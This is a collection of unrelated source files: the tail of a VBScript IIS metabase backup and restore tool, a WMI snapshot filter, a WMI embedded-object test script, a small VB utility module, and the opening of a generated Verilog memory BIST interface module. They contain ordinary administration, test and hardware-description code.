WScript.Echo L_OnlyOneOper_ErrorMessage
WScript.Echo L_SeeHelp_Message
WScript.Quit(ERR_GENERAL_FAILURE)
End If
intOperation = OPER_RESTORE
If oScriptHelper.IsHelpRequested(arg) Then
DisplayRestoreHelpMessage
WScript.Quit(ERR_OK)
End If
strName = oScriptHelper.GetSwitch("backupname")
If strName = "" Then
WScript.Echo L_MinInfoNeeded_ErrorMessage
WScript.Echo L_SeeRestoreHelp_Message
WScript.Quit(ERR_GENERAL_FAILURE)
End If
If oScriptHelper.Switches.Exists("version") Then
intVersion = oScriptHelper.GetSwitch("version")
Else
intVersion = "HIGHEST_VERSION"
End If
strBackPassword = CStr(oScriptHelper.GetSwitch("bkpasswd"))
Case "delete"
If (intOperation <> 0) Then
WScript.Echo L_OnlyOneOper_ErrorMessage
WScript.Echo L_SeeHelp_Message
WScript.Quit(ERR_GENERAL_FAILURE)
End If
intOperation = OPER_DELETE
If oScriptHelper.IsHelpRequested(arg) Then
DisplayDeleteHelpMessage
WScript.Quit(ERR_OK)
End If
strName = oScriptHelper.GetSwitch("backupname")
If strName = "" Or Not oScriptHelper.Switches.Exists("version") Then
WScript.Echo L_NeedNameVersion_ErrorMessage
WScript.Echo L_SeeDeleteHelp_Message
WScript.Quit(ERR_GENERAL_FAILURE)
End If
intVersion = oScriptHelper.GetSwitch("version")
Case "list"
If (intOperation <> 0) Then
WScript.Echo L_OnlyOneOper_ErrorMessage
WScript.Echo L_SeeHelp_Message
WScript.Quit(ERR_GENERAL_FAILURE)
End If
intOperation = OPER_LIST
If oScriptHelper.IsHelpRequested(arg) Then
DisplayListHelpMessage
WScript.Quit(ERR_OK)
End If
End Select
Next
' Check Parameters
If intOperation = 0 Then
WScript.Echo L_OperationRequired_ErrorMessage
WScript.Echo L_SeeHelp_Message
WScript.Quit(ERR_GENERAL_FAILURE)
End If
' Validate backup name
ValidateBackupName strName
If Err.Number Then
WScript.Echo L_InvalidBackupName_ErrorMessage
WScript.Quit(Err.Number)
End If
' Validate version
intVersion = ValidateVersionNumber(intVersion)
If Err.Number Then
Select Case Err.Number
Case &H6
WScript.Echo L_VersionTooBig_ErrorMessage
Case &H5
WScript.Echo L_InvalidVersion_ErrorMessage
End Select
WScript.Quit(Err.Number)
End If
' Check if /p is specified but /u isn't. In this case, we should bail out with an error
If oScriptHelper.Switches.Exists("password") And Not oScriptHelper.Switches.Exists("user") Then
WScript.Echo L_PassWithoutUser_ErrorMessage
WScript.Quit(ERR_GENERAL_FAILURE)
End If
' Check if /u is specified but /p isn't. In this case, we should ask for a password
If oScriptHelper.Switches.Exists("user") And Not oScriptHelper.Switches.Exists("password") Then
strPassword = oCmdLib.GetPassword
End If
' Initializes authentication with remote machine
intResult = oScriptHelper.InitAuthentication(strServer, strUser, strPassword)
If intResult <> 0 Then
WScript.Quit(intResult)
End If
' Choose operation
Select Case intOperation
Case OPER_BACKUP
intResult = BackupMetabase(strName, intVersion, strBackPassword, bOverwrite)
Case OPER_RESTORE
intResult = RestoreMetabase(strName, intVersion, strBackPassword)
Case OPER_DELETE
intResult = DeleteBackup(strName, intVersion)
Case OPER_LIST
intResult = ListBackups()
End Select
' Return value to command processor
WScript.Quit(intResult)
'''''''''''''''''''''''''
' End Of Main Block
'''''''''''''''''''''
'''''''''''''''''''''''''''
' DisplayHelpMessage
'''''''''''''''''''''''''''
Sub DisplayHelpMessage()
WScript.Echo L_Help_HELP_General01_Text
WScript.Echo L_Help_HELP_General01p2_Text
WScript.Echo
WScript.Echo L_Help_HELP_General02_Text
WScript.Echo L_Help_HELP_General03_Text
WScript.Echo
WScript.Echo L_Help_HELP_General04_Text
WScript.Echo
WScript.Echo L_Help_HELP_General06_Text
WScript.Echo L_Help_HELP_General07_Text
WScript.Echo L_Help_HELP_General07p2_Text
WScript.Echo L_Help_HELP_General08_Text
WScript.Echo L_Help_HELP_General09_Text
WScript.Echo L_Help_HELP_General10_Text
WScript.Echo L_Help_HELP_General11_Text
WScript.Echo L_Help_HELP_General12_Text
WScript.Echo L_Help_HELP_General12p2_Text
WScript.Echo L_Help_HELP_General13_Text
WScript.Echo L_Help_HELP_General14_Text
WScript.Echo L_Help_HELP_General14p2_Text
WScript.Echo L_Help_HELP_General15_Text
WScript.Echo L_Help_HELP_General16_Text
WScript.Echo
WScript.Echo L_Help_HELP_General17_Text
WScript.Echo
WScript.Echo L_Help_HELP_General18_Text
WScript.Echo L_Help_HELP_General19_Text
WScript.Echo L_Help_HELP_General20_Text
WScript.Echo L_Help_HELP_General21_Text
End Sub
Sub DisplayBackupHelpMessage()
WScript.Echo L_Help_HELP_Backup01_Text
WScript.Echo L_Help_HELP_Backup01p2_Text
WScript.Echo
WScript.Echo L_Help_HELP_Backup02_Text
WScript.Echo L_Help_HELP_Backup02p1_Text
WScript.Echo L_Help_HELP_Backup02p2_Text
WScript.Echo
WScript.Echo L_Help_HELP_General04_Text
WScript.Echo
WScript.Echo L_Help_HELP_General06_Text
WScript.Echo L_Help_HELP_General07_Text
WScript.Echo L_Help_HELP_General07p2_Text
WScript.Echo L_Help_HELP_General08_Text
WScript.Echo L_Help_HELP_General09_Text
WScript.Echo L_Help_HELP_General10_Text
WScript.Echo L_Help_HELP_Common17_Text
WScript.Echo L_Help_HELP_Common17p1_Text
WScript.Echo L_Help_HELP_Backup18_Text
WScript.Echo L_Help_HELP_Backup18p1_Text
WScript.Echo L_Help_HELP_Backup18p2_Text
WScript.Echo L_Help_HELP_Backup18p3_Text
WScript.Echo L_Help_HELP_Backup19_Text
WScript.Echo L_Help_HELP_Backup19p2_Text
WScript.Echo L_Help_HELP_Backup20_Text
WScript.Echo L_Help_HELP_Backup20p1_Text
WScript.Echo L_Help_HELP_Backup20p2_Text
WScript.Echo L_Help_HELP_Backup20p3_Text
WScript.Echo
WScript.Echo L_Help_HELP_Common11_Text
WScript.Echo
WScript.Echo L_Help_HELP_Backup21_Text
WScript.Echo L_Help_HELP_Backup22_Text
End Sub
Sub DisplayRestoreHelpMessage()
WScript.Echo L_Help_HELP_Restore01_Text
WScript.Echo L_Help_HELP_Restore01p1_Text
WScript.Echo
WScript.Echo L_Help_HELP_Restore02_Text
WScript.Echo L_Help_HELP_Restore02p1_Text
WScript.Echo L_Help_HELP_Restore02p2_Text
WScript.Echo
WScript.Echo L_Help_HELP_General04_Text
WScript.Echo
WScript.Echo L_Help_HELP_General06_Text
WScript.Echo L_Help_HELP_General07_Text
WScript.Echo L_Help_HELP_General07p2_Text
WScript.Echo L_Help_HELP_General08_Text
WScript.Echo L_Help_HELP_General09_Text
WScript.Echo L_Help_HELP_General10_Text
WScript.Echo L_Help_HELP_Common17_Text
WScript.Echo L_Help_HELP_Common17p1_Text
WScript.Echo L_Help_HELP_Restore18_Text
WScript.Echo L_Help_HELP_Restore18p1_Text
WScript.Echo L_Help_HELP_Restore18p2_Text
WScript.Echo L_Help_HELP_Restore19_Text
WScript.Echo L_Help_HELP_Restore19p1_Text
WScript.Echo L_Help_HELP_Restore19p2_Text
WScript.Echo L_Help_HELP_Restore19p3_Text
WScript.Echo
WScript.Echo L_Help_HELP_Common11_Text
WScript.Echo
WScript.Echo L_Help_HELP_Restore21_Text
WScript.Echo L_Help_HELP_Restore22_Text
End Sub
Sub DisplayDeleteHelpMessage()
WScript.Echo L_Help_HELP_Delete01_Text
WScript.Echo
WScript.Echo L_Help_HELP_Delete02_Text
WScript.Echo L_Help_HELP_Delete02p1_Text
WScript.Echo
WScript.Echo L_Help_HELP_General04_Text
WScript.Echo
WScript.Echo L_Help_HELP_General06_Text
WScript.Echo L_Help_HELP_General07_Text
WScript.Echo L_Help_HELP_General07p2_Text
WScript.Echo L_Help_HELP_General08_Text
WScript.Echo L_Help_HELP_General09_Text
WScript.Echo L_Help_HELP_General10_Text
WScript.Echo L_Help_HELP_Common17_Text
WScript.Echo L_Help_HELP_Common17p1_Text
WScript.Echo L_Help_HELP_Delete18_Text
WScript.Echo L_Help_HELP_Delete18p1_Text
WScript.Echo L_Help_HELP_Delete18p2_Text
WScript.Echo
WScript.Echo L_Help_HELP_Common11_Text
WScript.Echo
WScript.Echo L_Help_HELP_Delete19_Text
WScript.Echo L_Help_HELP_Delete20_Text
End Sub
Sub DisplayListHelpMessage()
WScript.Echo L_Help_HELP_List01_Text
WScript.Echo
WScript.Echo L_Help_HELP_List02_Text
WScript.Echo L_Help_HELP_List02p2_Text
WScript.Echo
WScript.Echo L_Help_HELP_General04_Text
WScript.Echo
WScript.Echo L_Help_HELP_General06_Text
WScript.Echo L_Help_HELP_General07_Text
WScript.Echo L_Help_HELP_General07p2_Text
WScript.Echo L_Help_HELP_General08_Text
WScript.Echo L_Help_HELP_General09_Text
WScript.Echo L_Help_HELP_General10_Text
WScript.Echo
WScript.Echo L_Help_HELP_Common11_Text
WScript.Echo
WScript.Echo L_Help_HELP_List18_Text
WScript.Echo L_Help_HELP_List19_Text
End Sub
'''''''''''''''''''''''''''
' BackupMetabase
'''''''''''''''''''''''''''
Function BackupMetabase(strName, intVersion, strBackPassword, bOverwrite)
Dim ComputerObj
Dim intFlags
Dim strVersion
On Error Resume Next
oScriptHelper.WMIConnect
If Err Then
WScript.Echo L_WMIConnect_ErrorMessage
oCmdLib.vbPrintf L_Error_ErrorMessage, Array(Hex(Err.Number), Err.Description)
BackupMetabase = Err.Number
Exit Function
End If
' Grab the computer object
Set ComputerObj = oScriptHelper.ProviderObj.Get("IIsComputer='LM'")
If Err.Number Then
Select Case Err.Number
Case &H80070005
WScript.Echo L_Admin_ErrorMessage
WScript.Echo L_Adminp2_ErrorMessage
Case Else
WScript.Echo L_ComputerObj_ErrorMessage
oCmdLib.vbPrintf L_Error_ErrorMessage, Array(Hex(Err.Number), Err.Description)
End Select
BackupMetabase = Err.Number
Exit Function
End If
' Build backup flags
intFlags = MD_BACKUP_SAVE_FIRST
If bOverwrite Then
intFlags = intFlags Or MD_BACKUP_OVERWRITE
End If
' Call Backup method
ComputerObj.BackupWithPassword strName, intVersion, intFlags, strBackPassword
If Err.Number Then
Select Case Err.Number
Case &H8007007B
WScript.Echo L_LastVersionTooBig_ErrorMessage
WScript.Echo L_LastVersionTooBigp2_ErrorMessage
Case &H80070002
WScript.Echo L_BackupNotFound_ErrorMessage
Case &H80070050
WScript.Echo L_BackupExists_ErrorMessage
WScript.Echo L_BackupExistsp2_ErrorMessage
Case Else
WScript.Echo L_Backup_ErrorMessage
WScript.Echo Err.Description
End Select
BackupMetabase = Err.Number
Exit Function
End If
' Pretty print
If (intVersion = MD_BACKUP_NEXT_VERSION) Then
strVersion = "NEXT_VERSION"
Else
If (intVersion = MD_BACKUP_HIGHEST_VERSION) Then
strVersion = "HIGHEST_VERSION"
Else
strVersion = CStr(intVersion)
End If
End If
oCmdLib.vbPrintf L_Created_Text, Array(strName, strVersion)
' Release object
Set ComputerObj = Nothing
BackupMetabase = 0
End Function
'''''''''''''''''''''''''''
' RestoreMetabase
'''''''''''''''''''''''''''
Function RestoreMetabase(strName, intVersion, strBackPassword)
Dim ComputerObj
Dim strVersion
On Error Resume Next
oScriptHelper.WMIConnect
If Err Then
WScript.Echo L_WMIConnect_ErrorMessage
oCmdLib.vbPrintf L_Error_ErrorMessage, Array(Hex(Err.Number), Err.Description)
RestoreMetabase = Err.Number
Exit Function
End If
' Grab the computer object
Set ComputerObj = oScriptHelper.ProviderObj.Get("IIsComputer='LM'")
If Err.Number Then
Select Case Err.Number
Case &H80070005
WScript.Echo L_Admin_ErrorMessage
WScript.Echo L_Adminp2_ErrorMessage
Case Else
WScript.Echo L_ComputerObj_ErrorMessage
oCmdLib.vbPrintf L_Error_ErrorMessage, Array(Hex(Err.Number), Err.Description)
End Select
RestoreMetabase = Err.Number
Exit Function
End If
' Call Restore method
ComputerObj.RestoreWithPassword strName, intVersion, 0, strBackPassword
If Err.Number Then
Select Case Err.Number
Case &H80070057
WScript.Echo L_BackupNotFound_ErrorMessage
Case &H8007052B
WScript.Echo L_IncorrectPassword_ErrorMessage
Case Else
WScript.Echo L_Restore_ErrorMessage
oCmdLib.vbPrintf L_Error_ErrorMessage, Array(Hex(Err.Number), Err.Description)
End Select
RestoreMetabase = Err.Number
Exit Function
End If
' Pretty print
If (intVersion = MD_BACKUP_NEXT_VERSION) Then
strVersion = "NEXT_VERSION"
Else
If (intVersion = MD_BACKUP_HIGHEST_VERSION) Then
strVersion = "HIGHEST_VERSION"
Else
strVersion = CStr(intVersion)
End If
End If
oCmdLib.vbPrintf L_Restored_Text, Array(strName, strVersion)
' Release object
Set ComputerObj = Nothing
RestoreMetabase = 0
End Function
'''''''''''''''''''''''''''
' DeleteBackup
'''''''''''''''''''''''''''
Function DeleteBackup(strName, intVersion)
Dim ComputerObj
Dim strVersion
On Error Resume Next
oScriptHelper.WMIConnect
If Err Then
WScript.Echo L_WMIConnect_ErrorMessage
oCmdLib.vbPrintf L_Error_ErrorMessage, Array(Hex(Err.Number), Err.Description)
DeleteMetabase = Err.Number
Exit Function
End If
' Grab the computer object
Set ComputerObj = oScriptHelper.ProviderObj.Get("IIsComputer='LM'")
If Err.Number Then
Select Case Err.Number
Case &H80070005
WScript.Echo L_Admin_ErrorMessage
WScript.Echo L_Adminp2_ErrorMessage
Case Else
WScript.Echo L_ComputerObj_ErrorMessage
oCmdLib.vbPrintf L_Error_ErrorMessage, Array(Hex(Err.Number), Err.Description)
End Select
DeleteBackup = Err.Number
Exit Function
End If
' Call Delete method
ComputerObj.DeleteBackup strName, intVersion
If Err Then
WScript.Echo L_Delete_ErrorMessage
Select Case Err.Number
Case &H80070002
WScript.Echo L_BackupNotFound_ErrorMessage
Case &H8007052B
WScript.Echo L_IncorrectPassword_ErrorMessage
Case Else
WScript.Echo Err.Description
End Select
DeleteBackup = Err.Number
Exit Function
End If
' Pretty print
If (intVersion = MD_BACKUP_NEXT_VERSION) Then
strVersion = "NEXT_VERSION"
Else
If (intVersion = MD_BACKUP_HIGHEST_VERSION) Then
strVersion = "HIGHEST_VERSION"
Else
strVersion = CStr(intVersion)
End If
End If
oCmdLib.vbPrintf L_Deleted_Text, Array(strName, strVersion)
' Release object
Set ComputerObj = Nothing
DeleteBackup = 0
End Function
'''''''''''''''''''''''''''
' ListBackups
'''''''''''''''''''''''''''
Function ListBackups()
Dim ComputerObj
Dim strName, strVersion, strDateTime, strFmtDateTime
Dim dtDate, dtTime
Dim intIndex
Dim firstLen, verLen
On Error Resume Next
oScriptHelper.WMIConnect
If Err.Number Then
WScript.Echo L_WMIConnect_ErrorMessage
oCmdLib.vbPrintf L_Error_ErrorMessage, Array(Hex(Err.Number), Err.Description)
ListBackups = Err.Number
Exit Function
End If
' Grab the computer object
Set ComputerObj = oScriptHelper.ProviderObj.Get("IIsComputer='LM'")
If Err.Number Then
Select Case Err.Number
Case &H80070005
WScript.Echo L_Admin_ErrorMessage
WScript.Echo L_Adminp2_ErrorMessage
Case Else
WScript.Echo L_ComputerObj_ErrorMessage
oCmdLib.vbPrintf L_Error_ErrorMessage, Array(Hex(Err.Number), Err.Description)
End Select
ListBackups = Err.Number
Exit Function
End If
intIndex = 0
Do While True
' Call EnumBackups method
strName = ""
computerObj.EnumBackups strName, intIndex, strVersion, strDateTime
If (Err.Number <> 0) Then
If (Err.Number = MD_BACKUP_NO_MORE_BACKUPS) Then
Exit Do
End If
WScript.Echo L_List_ErrorMessage
oCmdLib.vbPrintf L_Error_ErrorMessage, Array(Hex(Err.Number), Err.Description)
Set computerObj = Nothing
ListBackups = ERR_GENERAL_FAILURE
Exit Function
End If
If intIndex = 0 Then
WScript.Echo L_BackupName_Text & Space(35 - Len(L_BackupName_Text)) & L_BackupVersion_Text & _
Space(15 - Len(L_BackupVersion_Text)) & L_DateTime_Text
WScript.Echo "========================================================================"
End If
' Format DateTime
dtDate = DateSerial(Mid(strDateTime, 1, 4), Mid(strDateTime, 5, 2), Mid(strDateTime, 7, 2))
dtTime = TimeSerial(Mid(strDateTime, 9, 2), Mid(strDateTime, 11, 2), Mid(strDateTime, 13, 2))
strFmtDateTime = FormatDateTime(dtDate) & " " & FormatDateTime(dtTime, vbLongTime)
verLen = 15 - Len(strVersion)
firstLen = 35 - Len(strName)
If (firstLen < 1) Then
firstLen = 1
verLen = 1
End If
WScript.Echo strName & Space(firstLen) & strVersion & Space(verLen) & strFmtDateTime
intIndex = intIndex + 1
Loop
' Print message in case we don't have any backups to list
If intIndex = 0 Then
WScript.Echo L_NoBackups_Message
End If
' Release object
Set ComputerObj = Nothing
ListBackups = 0
End Function
''''''''''''''''''''''''''''''''''''
' Helper Functions
'''''''''''''''''''''''''''
Function ValidateVersionNumber(Version)
If IsNumeric(Version) Then
Version = CInt(Version)
If Version > MD_BACKUP_MAX_VERSION Then
Err.Raise &H6
End If
If Version < 0 Then
Err.Raise &H5
End If
ValidateVersionNumber = Version
Else
Select Case Version
Case "HIGHEST_VERSION"
ValidateVersionNumber = MD_BACKUP_HIGHEST_VERSION
Case "NEXT_VERSION"
ValidateVersionNumber = MD_BACKUP_NEXT_VERSION
Case Else
Err.Raise &H5
End Select
End If
End Function
Sub ValidateBackupName(strName)
Dim i
For i = 1 to Len(strName)
If AscW(Mid(strName, i, 1)) >= 33 And AscW(Mid(strName, i, 1)) <= 47 Or _
AscW(Mid(strName, i, 1)) >= 58 And AscW(Mid(strName, i, 1)) <= 64 Then
Err.Raise &H5
End If
Next
End Sub
|
'Stop
On Error Resume Next
Set dom = CreateObject( "Microsoft.XMLDOM" )
Set oArguments = wscript.Arguments
If oArguments.length < 1 then
wscript.Echo "Usage: filter.vbs <snapshot>"
wscript.Exit 1
End If
'################################################################################
Sub ParseInstanceName( node )
On Error Resume Next
Dim str
Dim value
Dim values
Dim key
Dim keys
str = ""
Set values = node.selectNodes( "./KEYVALUE" )
For Each value In values
str = str & " <Default>#" & value.text
Next
Set keys = node.selectNodes( "./KEYBINDING" )
For Each key In keys
Set value = key.selectSingleNode( "./KEYVALUE" )
str = str & " " & key.getAttribute( "NAME" ) & "#" & value.text
Next
Set keys = node.selectNodes( "./VALUE.REFERENCE/INSTANCEPATH/INSTANCENAME" )
For Each key In keys
str = str & "(" & ParseInstanceName( key ) & ")"
Next
ParseInstanceName = str
End Sub
Sub FilterNodes( dom )
On Error Resume Next
Dim lst
Dim node
Set lst = dom.selectNodes( "//CIM/DECLARATION/DECLGROUP.WITHPATH/VALUE.OBJECTWITHPATH" )
For Each node In lst
Set inst = node.selectSingleNode( "INSTANCEPATH/INSTANCENAME" )
wscript.Echo inst.getAttribute( "CLASSNAME" ) & "= " & ParseInstanceName( inst )
Next
End Sub
'################################################################################
InputFile = oArguments.Item(0)
Stop
If dom.load( InputFile ) = true Then
FilterNodes( dom )
End If
|
on error resume next
Set Service = GetObject("winmgmts:root/default")
'Create a simple embeddable object
Set aClass = Service.Get
aClass.Path_.Class = "INNEROBJ01"
Set Property = aClass.Properties_.Add ("p", 19)
aClass.Properties_.Add ("q", 8).Value = "resnais"
Property.Qualifiers_.Add "fred", "wibbley"
Property.Qualifiers_.Add "dibnah", "wobbley"
aClass.Qualifiers_.Add "stavisky", "providence"
aClass.Qualifiers_.Add "muriel", "brouillard"
aClass.Put_
Set aClass = Service.Get ("INNEROBJ01")
aClass.p = 8778
'Create a class that uses that object
Set Class2 = Service.Get
Class2.Path_.Class = "EMBOBJTEST01"
Class2.Properties_.Add ("p1", 13).Value = aClass
'Now modify the path
aClass.Path_.Class = "LAGUERRE"
WScript.Echo "The current value of EMBOBJTEST01.p1.Path_.Class is [LAGUERRE]:", Class2.p1.Path_.Class
WScript.Echo
'Modify the qualifier set of the class
aClass.Qualifiers_.Remove "muriel"
aClass.Qualifiers_.Add "fumer", "pasdefumer"
Set Qualifier = aClass.Qualifiers_("stavisky")
Qualifier.Value = "melo"
Wscript.Echo "Qualifiers of EMBOBJTEST01.p1 are [(fumer,pasdefumer),(stavisky,melo)]:"
for each Qualifier in Class2.p1.Qualifiers_
WScript.Echo Qualifier.Name, Qualifier.Value
next
Wscript.Echo "Qualifier [stavisky] has flavor [-1,-1,-1]:", Class2.p1.Qualifiers_("stavisky").IsOverridable, _
Class2.p1.Qualifiers_("stavisky").PropagatesToInstance, _
Class2.p1.Qualifiers_("stavisky").PropagatesToSubclass
Set Qualifier = aClass.Qualifiers_("stavisky")
Qualifier.IsOverridable = false
Qualifier.PropagatesToInstance = false
Qualifier.PropagatesToSubclass = false
Wscript.Echo "Qualifier [stavisky] has flavor [0,0,0]:", Class2.p1.Qualifiers_("stavisky").IsOverridable, _
Class2.p1.Qualifiers_("stavisky").PropagatesToInstance, _
Class2.p1.Qualifiers_("stavisky").PropagatesToSubclass
'Modify the qualifier set of the property
aClass.Properties_("p").Qualifiers_.Remove "fred"
aClass.Properties_("p").Qualifiers_.Add "steeple", "jack"
aClass.Properties_("p").Qualifiers_("dibnah").Value = "demolition"
WScript.Echo
Wscript.Echo "Qualifiers of EMBOBJTEST01.p1.p are [(steeple,jack),(dibnah,demolition)]:"
for each Qualifier in Class2.p1.Properties_("p").Qualifiers_
WScript.Echo Qualifier.Name, Qualifier.Value
next
'Modify the property set of the property
aClass.Properties_.Remove "q"
aClass.Properties_.Add ("r", 19).Value = 27
aClass.Properties_("p").Value = 99
WScript.Echo
Wscript.Echo "Properties of EMBOBJTEST01.p1 are [(p,99),(r,27)]:"
for each Property in Class2.p1.Properties_
WScript.Echo Property.Name, Property.Value
next
Class2.Put_
if Err <> 0 Then
WScript.Echo Err.Description, Err.Source
Err.Clear
End if
|
<filename>admin/wmi/wbem/scripting/test/vb/newbvt/utility.bas
Attribute VB_Name = "Utility"
Option Explicit
'This is a total hack, but it works
Public LatestKeyhole As String
Public Type prop
Name As String
Value As Variant
End Type
'Public Function CreateInstance(wsoServices As DIWbemServices, classname As String, Props() As prop, n As Node) As Integer
' 'This function has not been tested yet.
'
' 'RETURN:
' 'TRUE : Succeeded
' 'FALSE : Failed
'
' CreateInstance = False
'
' On Error Resume Next
' Dim c As DWbemClassObject
' Dim r As DIWbemCallResult
' Dim s As String
' Dim i As Integer
'
' wsoServices.GetObject classname, 0, Nothing, c, Nothing
' If CheckError(Err.Number, n, "Getobject: " & classname) Then Exit Function
'
' For i = LBound(Props) To UBound(Props)
' If Props(i).Name <> "" Then
' c.Put Props(i).Name, 0, Props(i).Value, 0
' If CheckError(Err.Number, n, "Put: " & Props(i).Name) Then Exit Function
' End If
' Next i
'
' wsoServices.PutInstance c, 0, Nothing, r
' If CheckError(Err.Number, n, "PutInstance: " & classname) Then Exit Function
' r.GetResultString -1, s
' LatestKeyhole = s
'
' CreateInstance = True
'End Function
'
Public Function WaitSecs(PauseTime As Integer)
'Should pause for X seconds
Dim Start
Start = Timer
Do While Timer < Start + PauseTime
DoEvents
Loop
'Debug.Print "Paused for " & PauseTime & " seconds."
End Function
|
<filename>verif/block/mbist/SRAM_4096X8X4CM8/SMARCHCHKB_LVISION_MEM0_INTERFACE.vb
/*
----------------------------------------------------------------------------------
- -
- Copyright Mentor Graphics Corporation -
- All Rights Reserved -
- -
- THIS WORK CONTAINS TRADE SECRET AND PROPRIETARY -
- INFORMATION WHICH IS THE PROPERTY OF MENTOR GRAPHICS -
- CORPORATION OR ITS LICENSORS AND IS SUBJECT -
- TO LICENSE TERMS. -
- -
----------------------------------------------------------------------------------
- File created by: membistipGenerate -
- Version: 2017.1 -
- Created on: Fri Feb 1 13:43:54 CST 2019 -
----------------------------------------------------------------------------------
*/
`timescale 100 ps / 10 ps
/*------------------------------------------------------------------------------
Module : SMARCHCHKB_LVISION_MEM0_INTERFACE
Description : This module contains the interface logic for the memory
module SHAA110_4096X8X4CM8
--------------------------------------------------------------------------------
Interface Options in Effect
BistDataPipelineStages : 0;
BitGrouping : 1;
BitSliceWidth : 1;
ConcurrentWrite : OFF
ConcurrentRead : OFF
ControllerType : PROG;
DataOutStage : NONE;
DefaultAlgorithm : SMARCHCHKB;
DefaultOperationSet : SYNC;
InternalScanLogic : OFF;
LocalComparators : OFF;
MemoryType : RAM;
ObservationLogic : ON;
OutputEnableControl : SYSTEM;
PipelineSerialDataOut : OFF;
ScanWriteThru : OFF;
ShadowRead : OFF;
ShadowWrite : OFF;
Stop-On-Error Limit : 4096;
TransparentMode : SYNCMUX (Tri-state mux);
-------------------------------------------------------- (c) Mentor Graphics */
module SMARCHCHKB_LVISION_MEM0_INTERFACE (
CSB_IN,
CSB,
OE_IN,
OE,
WEB3_IN,
WEB3,
WEB2_IN,
WEB2,
WEB1_IN,
WEB1,
WEB0_IN,
WEB0,
A11_IN,
A11,
A10_IN,
A10,
A9_IN,
A9,
A8_IN,
A8,
A7_IN,
A7,
A6_IN,
A6,
A5_IN,
A5,
A4_IN,
A4,
A3_IN,
A3,
A2_IN,
A2,
A1_IN,
A1,
A0_IN,
A0,
DI31_IN,
DI31,
DI30_IN,
DI30,
DI29_IN,
DI29,
DI28_IN,
DI28,
DI27_IN,
DI27,
DI26_IN,
DI26,
DI25_IN,
DI25,
DI24_IN,
DI24,
DI23_IN,
DI23,
DI22_IN,
DI22,
DI21_IN,
DI21,
DI20_IN,
DI20,
DI19_IN,
DI19,
DI18_IN,
DI18,
DI17_IN,
DI17,
DI16_IN,
DI16,
DI15_IN,
DI15,
DI14_IN,
DI14,
DI13_IN,
DI13,
DI12_IN,
DI12,
DI11_IN,
DI11,
DI10_IN,
DI10,
DI9_IN,
DI9,
DI8_IN,
DI8,
DI7_IN,
DI7,
DI6_IN,
DI6,
DI5_IN,
DI5,
DI4_IN,
DI4,
DI3_IN,
DI3,
DI2_IN,
DI2,
DI1_IN,
DI1,
DI0_IN,
DI0,
DO31,
DO30,
DO29,
DO28,
DO27,
DO26,
DO25,
DO24,
DO23,
DO22,
DO21,
DO20,
DO19,
DO18,
DO17,
DO16,
DO15,
DO14,
DO13,
DO12,
DO11,
DO10,
DO9,
DO8,
DO7,
DO6,
DO5,
DO4,
DO3,
DO2,
DO1,
DO0,
SCAN_OBS_FLOPS,
BIST_SELECT,
BIST_OUTPUTENABLE,
BIST_WRITEENABLE,
BIST_COL_ADD,
BIST_ROW_ADD,
BIST_TESTDATA_SELECT_TO_COLLAR,
BIST_WRITE_DATA,
BIST_CLK,
BIST_ASYNC_RESETN, // Asynchronous reset enable (active low)
BIST_SHIFT_COLLAR,
BIST_COLLAR_SETUP,
BIST_COLLAR_HOLD,
BIST_SETUP0,
BIST_CLEAR_DEFAULT,
BIST_CLEAR,
BIST_DATA_FROM_MEM,
LV_TM,
TCK_MODE,
CHKBCI_PHASE,
BIST_COLLAR_EN,
RESET_REG_SETUP2 ,
BIST_EN
);
input CSB_IN;
output CSB;
input OE_IN;
output OE;
input WEB3_IN;
output WEB3;
input WEB2_IN;
output WEB2;
input WEB1_IN;
output WEB1;
input WEB0_IN;
output WEB0;
input A11_IN;
output A11;
input A10_IN;
output A10;
input A9_IN;
output A9;
input A8_IN;
output A8;
input A7_IN;
output A7;
input A6_IN;
output A6;
input A5_IN;
output A5;
input A4_IN;
output A4;
input A3_IN;
output A3;
input A2_IN;
output A2;
input A1_IN;
output A1;
input A0_IN;
output A0;
input DI31_IN;
output DI31;
input DI30_IN;
output DI30;
input DI29_IN;
output DI29;
input DI28_IN;
output DI28;
input DI27_IN;
output DI27;
input DI26_IN;
output DI26;
input DI25_IN;
output DI25;
input DI24_IN;
output DI24;
input DI23_IN;
output DI23;
input DI22_IN;
output DI22;
input DI21_IN;
output DI21;
input DI20_IN;
output DI20;
input DI19_IN;
output DI19;
input DI18_IN;
output DI18;
input DI17_IN;
output DI17;
input DI16_IN;
output DI16;
input DI15_IN;
output DI15;
input DI14_IN;
output DI14;
input DI13_IN;
output DI13;
input DI12_IN;
output DI12;
input DI11_IN;
output DI11;
input DI10_IN;
output DI10;
input DI9_IN;
output DI9;
input DI8_IN;
output DI8;
input DI7_IN;
output DI7;
input DI6_IN;
output DI6;
input DI5_IN;
output DI5;
input DI4_IN;
output DI4;
input DI3_IN;
output DI3;
input DI2_IN;
output DI2;
input DI1_IN;
output DI1;
input DI0_IN;
output DI0;
inout DO31;
inout DO30;
inout DO29;
inout DO28;
inout DO27;
inout DO26;
inout DO25;
inout DO24;
inout DO23;
inout DO22;
inout DO21;
inout DO20;
inout DO19;
inout DO18;
inout DO17;
inout DO16;
inout DO15;
inout DO14;
inout DO13;
inout DO12;
inout DO11;
inout DO10;
inout DO9;
inout DO8;
inout DO7;
inout DO6;
inout DO5;
inout DO4;
inout DO3;
inout DO2;
inout DO1;
inout DO0;
output [4:0] SCAN_OBS_FLOPS;
input BIST_SELECT;
input BIST_OUTPUTENABLE;
input BIST_WRITEENABLE;
input [2:0] BIST_COL_ADD;
input [8:0] BIST_ROW_ADD;
input [1:0] BIST_WRITE_DATA;
wire [31:0] BIST_WRITE_DATA_REP;
wire [31:0] BIST_WRITE_DATA_INT;
input CHKBCI_PHASE;
input BIST_EN;
input BIST_TESTDATA_SELECT_TO_COLLAR;
input BIST_ASYNC_RESETN;
reg BIST_INPUT_SELECT;
wire BIST_EN_RETIME1_IN;
wire BIST_EN_RETIME1;
reg BIST_EN_RETIME1_TCK_MODE;
wire BIST_EN_RETIME2_IN;
reg BIST_EN_RETIME2;
wire BIST_ON_INT;
wire BIST_INPUT_SELECT_RST;
wire BIST_EN_RST;
wire BIST_EN_RST_TCK_MODE;
wire TCK_MODE_INT;
input BIST_CLK;
wire BIST_CLK_INT;
input BIST_SHIFT_COLLAR;
input BIST_COLLAR_SETUP;
input BIST_COLLAR_HOLD;
input BIST_CLEAR_DEFAULT;
input BIST_CLEAR;
output [31:0] BIST_DATA_FROM_MEM;
input BIST_SETUP0;
input LV_TM;
input TCK_MODE;
wire BIST_ON;
input BIST_COLLAR_EN;
wire STATUS_SO;
